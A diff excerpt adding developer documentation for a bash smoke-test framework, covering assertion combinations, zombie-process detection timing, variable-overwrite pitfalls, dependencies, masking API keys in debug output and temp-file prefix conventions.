Schema validation uses `jq -e` (exit 0 = truthy, exit 1 = false/null). A schema that returns `false` or `null` means FAIL.
|
|
181
|
+
|
|
182
|
+
## Combination Rules
|
|
183
|
+
|
|
184
|
+
### Contradictions (using both guarantees a FAIL, not a tool bug)
|
|
185
|
+
|
|
186
|
+
| Pair | Why |
|
|
187
|
+
|------|-----|
|
|
188
|
+
| `assert_success` + `assert_failure` | Cannot both pass on same exit code |
|
|
189
|
+
| `assert_exit_code 0` + `assert_exit_code 1` | Cannot both pass |
|
|
190
|
+
| `assert_stderr_empty` + `assert_stderr_contains` | Cannot both pass on same stderr |
|
|
191
|
+
|
|
192
|
+
### Recommended Combinations
|
|
193
|
+
|
|
194
|
+
- Command success + output: `assert_success` + `assert_output_contains`
|
|
195
|
+
- Command failure + error: `assert_failure` + `assert_stderr_contains`
|
|
196
|
+
- Security: `assert_no_command_exec` + `assert_no_path_traversal`
|
|
197
|
+
- File write: `run_and_capture cmd` -> `assert_success` + `assert_file_exists` + `assert_file_contains`
|
|
198
|
+
|
|
199
|
+
### Zombie Detection Race Window
|
|
200
|
+
|
|
201
|
+
`assert_no_zombie` must be called AFTER the target script's children have exited but BEFORE they are reaped. With `run_concurrent`:
|
|
202
|
+
|
|
203
|
+
1. `run_concurrent N cmd` -- launches N background instances
|
|
204
|
+
2. `sleep D` -- wait for inner children to exit (D depends on the script's internal runtime)
|
|
205
|
+
3. `assert_no_zombie $$` -- scan while zombies are still present
|
|
206
|
+
4. `concurrent_wait` -- reap after detection
|
|
207
|
+
|
|
208
|
+
The `sleep` duration is script-specific. If the negative test in `primitives_test.sh` produces SKIP, the zombie window was too short -- the test is not counted as a failure.
|
|
209
|
+
|
|
210
|
+
The optional `max_depth` parameter (positional arg 3) limits recursion depth to prevent infinite loops in abnormally deep process trees. Default is 100. On exceeding the limit, a WARNING is emitted and the scan continues without counting as FAIL.
|
|
211
|
+
|
|
212
|
+
Reliable zombie test fixtures require a non-bash intermediate (bash auto-reaps direct children). The P3 verification uses `python3 subprocess.Popen` for this purpose -- see `test_case2_concurrency.sh` for the reference pattern.
|
|
213
|
+
|
|
214
|
+
## Concurrency Safety
|
|
215
|
+
|
|
216
|
+
### SMOKE_LAST_* Variable Overwrite
|
|
217
|
+
|
|
218
|
+
`run_and_capture` exports global variables (`SMOKE_LAST_STDOUT`, `SMOKE_LAST_STDERR`, `SMOKE_LAST_STATUS`). Nested or sequential calls overwrite previous values:
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
# WRONG: using $SMOKE_LAST_STDOUT after a second run_and_capture
|
|
222
|
+
run_and_capture ./outer.sh
|
|
223
|
+
outer_status=$SMOKE_LAST_STATUS
|
|
224
|
+
run_and_capture ./inner.sh # overwrites $SMOKE_LAST_STDOUT
|
|
225
|
+
assert_output_contains "$(cat "$SMOKE_LAST_STDOUT")" "outer text" # FAIL: reads inner.sh output
|
|
226
|
+
|
|
227
|
+
# CORRECT: save immediately after each run_and_capture
|
|
228
|
+
run_and_capture ./outer.sh
|
|
229
|
+
outer_stdout=$(cat "$SMOKE_LAST_STDOUT")
|
|
230
|
+
outer_status=$SMOKE_LAST_STATUS
|
|
231
|
+
run_and_capture ./inner.sh
|
|
232
|
+
assert_output_contains "$outer_stdout" "outer text" # PASS
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
### run_concurrent Isolation
|
|
236
|
+
|
|
237
|
+
Each background instance creates its own temp files in `$CONCURRENT_RESULT_DIR/{i}.{out,err,status}`. No variable conflicts between instances.
|
|
238
|
+
|
|
239
|
+
### Multi-Line Primitive Output
|
|
240
|
+
|
|
241
|
+
Some primitives (e.g. `assert_no_zombie`) output debug details before the PASS/FAIL line. When capturing with `$(...)`, use `grep -q '^FAIL:'` rather than `[[ "$result" == FAIL:* ]]`:
|
|
242
|
+
|
|
243
|
+
```bash
|
|
244
|
+
result=$(assert_no_zombie "$pid" "check")
|
|
245
|
+
# WRONG: prefix match fails when ZOMBIE lines precede FAIL:
|
|
246
|
+
[[ "$result" == FAIL:* ]]
|
|
247
|
+
# CORRECT: grep for the line of interest:
|
|
248
|
+
echo "$result" | grep -q '^FAIL:'
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
## Dependencies
|
|
252
|
+
|
|
253
|
+
| Tool | Required By | Install |
|
|
254
|
+
|------|------------|---------|
|
|
255
|
+
| `jq` | `assert_json_valid` | `dnf install jq` (RHEL/Fedora), `apt install jq` (Debian/Ubuntu) |
|
|
256
|
+
| `python3` | P3 verification fixtures only | pre-installed on RHEL/Fedora |
|
|
257
|
+
|
|
258
|
+
Without `jq`, `assert_json_valid` returns SKIP (exit 0, never FAIL).
|
|
259
|
+
`python3` is NOT required by `primitives.sh` itself -- only by the P3 verification fixtures that test zombie detection with a non-bash intermediate.
|
|
260
|
+
|
|
261
|
+
## Secret Security
|
|
262
|
+
|
|
263
|
+
- FAIL debug output masks `sk-*` API keys: `sed 's/sk-[A-Za-z0-9]\{20,\}/\*\*\*/g'`
|
|
264
|
+
- Tests should use fake credentials (`test-key-12345`), never real API keys
|
|
265
|
+
|
|
266
|
+
## Prefix Isolation
|
|
267
|
+
|
|
268
|
+
| Prefix | Owner | Scanned by `assert_temp_clean` |
|
|
269
|
+
|--------|-------|-------------------------------|
|
|
270
|
+
| `/tmp/smoke-fw-*` | Framework (run_and_capture, run_concurrent) | No |
|
|
271
|
+
| `/tmp/smoke-test-*` | Tests (script-generated temp files) | Yes (default) |
|